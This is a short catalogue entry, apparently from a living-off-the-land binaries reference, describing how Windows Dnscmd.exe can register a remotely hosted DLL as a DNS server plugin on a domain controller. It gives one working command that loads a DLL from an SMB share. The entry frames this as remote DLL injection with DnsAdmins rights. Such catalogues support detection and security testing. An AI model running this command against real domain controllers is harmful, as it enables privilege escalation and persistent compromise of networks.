.. /Dnscmd.exe
Star

A command-line interface for managing DNS servers


Paths:

Resources:
Acknowledgements:

Detection:

Execute

Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.
dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
Usecase: Remotely inject dll to dns server
Privileges required: DNS admin
OS: Windows server
MITRE ATT&CK®: T1543.003